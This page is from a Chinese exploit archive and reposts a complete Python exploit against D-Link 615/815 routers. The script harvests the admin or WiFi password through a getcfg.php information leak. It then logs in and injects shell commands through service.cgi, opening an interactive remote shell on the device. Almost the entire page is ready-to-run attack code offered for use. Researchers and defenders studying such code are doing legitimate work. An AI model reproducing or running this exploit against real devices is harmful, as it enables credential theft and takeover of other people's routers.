首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
D-Link Routers 110/412/615/815 < 1.03 - 'service.cgi' Arbitrary Code Execution
来源:https://github.com/Cr0n1c 作者:Cr0n1c 发布时间:2018-01-12  
#!/usr/bin/python
 
# Exploit Title: D-Link WAP 615/645/815 < 1.03 service.cgi RCE
# Exploit Author: Cr0n1c
# Vendor Homepage: us.dlink.com
# Software Link: https://github.com/Cr0n1c/dlink_shell_poc/blob/master/dlink_auth_rce
# Version: 1.03
# Tested on: D-Link 815 v1.03
 
import argparse
import httplib
import random
import re
import requests
import string
import urllib2
 
DLINK_REGEX = ['Product Page : <a href="http://support.dlink.com" target="_blank">(.*?)<',
               '<div class="modelname">(.*?)</div>',
               '<div class="pp">Product Page : (.*?)<a href="javascript:check_is_modified">'
             ]
 
 
def dlink_detection():
    try:
        r = requests.get(URL, timeout=10.00)
    except requests.exceptions.ConnectionError:
        print "Error: Failed to connect to " + URL
        return False
 
    if r.status_code != 200:
        print "Error: " + URL + " returned status code " + str(r.status_code)
        return False
 
    for rex in DLINK_REGEX:
        if re.search(rex, r.text):
            res = re.findall(rex, r.text)[0]
            return res
 
    print "Warning: Unable to detect device for " + URL
    return "Unknown Device"
 
 
def create_session():
    post_content = {"REPORT_METHOD": "xml",
                    "ACTION": "login_plaintext",
                    "USER": "admin",
                    "PASSWD": PASSWORD,
                    "CAPTCHA": ""
                    }
 
    try:
        r = requests.post(URL + "/session.cgi", data=post_content, headers=HEADER)
    except requests.exceptions.ConnectionError:
        print "Error: Failed to access " + URL + "/session.cgi"
        return False
 
    if not (r.status_code == 200 and r.reason == "OK"):
        print "Error: Did not recieve a HTTP 200"
        return False
 
    if not re.search("<RESULT>SUCCESS</RESULT>", r.text):
        print "Error: Did not get a success code"
        return False
 
    return True
 
 
def parse_results(result):
    print result[100:]
    return result
 
 
def send_post(command, print_res=True):
    post_content = "EVENT=CHECKFW%26" + command + "%26"
 
    method = "POST"
 
    if URL.lower().startswith("https"):
        handler = urllib2.HTTPSHandler()
    else:
        handler = urllib2.HTTPHandler()
 
    opener = urllib2.build_opener(handler)
    request = urllib2.Request(URL + "/service.cgi", data=post_content, headers=HEADER)
    request.get_method = lambda: method
 
    try:
        connection = opener.open(request)
    except urllib2.HTTPError:
        print "Error: failed to connect to " + URL + "/service.cgi"
        return False
    except urllib2.HTTPSError:
        print "Error: failed to connect to " + URL + "/service.cgi"
        return False
 
    if not connection.code == 200:
        print "Error: Recieved status code " + str(connection.code)
        return False
 
    attempts = 0
 
    while attempts < 5:
        try:
            data = connection.read()
        except httplib.IncompleteRead:
            attempts += 1
        else:
            break
 
        if attempts == 5:
            print "Error: Chunking failed %d times, bailing." %attempts
            return False
 
    if print_res:
        return parse_results(data)
    else:
        return data
 
 
def start_shell():
    print "+" + "-" * 80 + "+"
    print "| Welcome to D-Link Shell" + (" " * 56) + "|"
    print "+" + "-" * 80 + "+"
    print "| This is a limited shell that exploits piss poor programming.  I created this   |"
    print "| to give you a comfort zone and to emulate a real shell environment.  You will  |"
    print "| be limited to basic busybox commands.  Good luck and happy hunting.            |"
    print "|" + (" " * 80) + "|"
    print "| To quit type 'gtfo'" + (" " * 60) + "|"
    print "+" + "-" * 80 + "+\n\n"
 
    cmd = ""
 
    while True:
        cmd = raw_input(ROUTER_TYPE + "# ").strip()
        if cmd.lower() == "gtfo":
            break
 
        send_post(cmd)
 
 
def query_getcfg(param):
    post_data = {"SERVICES": param}
    try:
        r = requests.post(URL + "/getcfg.php", data=post_data, headers=HEADER)
    except requests.exceptions.ConnectionError:
        print "Error: Failed to access " + URL + "/getcfg.php"
        return False
 
    if not (r.status_code == 200 and r.reason == "OK"):
        print "Error: Did not recieve a HTTP 200"
        return False
 
    if re.search("<message>Not authorized</message>", r.text):
        print "Error: Not vulnerable"
        return False
 
    return r.text
 
 
def attempt_password_find():
    # Going fishing in DEVICE.ACCOUNT looking for CWE-200 or no password
    data = query_getcfg("DEVICE.ACCOUNT")
    if not data:
        return False
 
    res = re.findall("<password>(.*?)</password>", data)
    if len(res) > 0 and res != "=OoXxGgYy=":
        return res[0]
 
    # Did not find it in first attempt
    data = query_getcfg("WIFI")
    if not data:
        return False
 
    res = re.findall("<key>(.*?)</key>", data)
    if len(res) > 0:
        return res[0]
 
    # All attempts failed, just going to return and wish best of luck!
    return False
 
 
if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="D-Link 615/815 Service.cgi RCE")
 
    parser.add_argument("-p", "--password", dest="password", action="store", default=None,
                        help="Password for the router.  If not supplied then will use blank password.")
    parser.add_argument("-u", "--url", dest="url", action="store", required=True,
                        help="[Required] URL for router (i.e. http://10.1.1.1:8080)")
    parser.add_argument("-x", "--attempt-exploit", dest="attempt_exploit", action="store_true", default=False,
                        help="If flag is set, will attempt CWE-200.  If that fails, then will attempt to discover "
                             "wifi password and use it.")
 
    args = parser.parse_args()
 
    HEADER = {"Cookie": "uid=" + "".join(random.choice(string.letters) for _ in range(10)),
              "Host": "localhost",
              "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"
              }
 
    URL = args.url.lower().strip()
 
    if not URL.startswith("http"):
        URL = "http://" + URL
 
    ROUTER_TYPE = dlink_detection()
 
    if not ROUTER_TYPE:
        print "EXITING . . ."
        exit()
 
    if args.attempt_exploit and args.password is None:
        res = attempt_password_find()
        if res:
            PASSWORD = res
        else:
            PASSWORD = ""
        print "[+] Switching password to: " + PASSWORD
    elif args.password:
        PASSWORD = args.password
    else:
        PASSWORD = ""
 
    if not create_session():
        print "EXITING . . ."
        exit()
 
    if len(send_post("ls", False)) == 0:
        print "Appears this device [%s] is not vulnerable. EXITING . . ." %ROUTER_TYPE
        exit()
 
    start_shell()
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·SAP NetWeaver J2EE Engine 7.40
·Parity Browser < 1.6.10 - Bypa
·ALLMediaServer 0.95 Stack Buff
·Microsoft Windows - NTFS Owner
·LabF nfsAxe 3.7 FTP Client Sta
·macOS - 'process_policy' Stack
·Samsung SRN-1670D Web Viewer 1
·Microsoft Edge Chakra - 'Appen
·phpCollab 2.5.1 Unauthenticate
·TP-Link Remote Command Injecti
·eBPF 4.9-stable Verifier Bug B
·Polygonize PC 1.1 Remote Comma
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved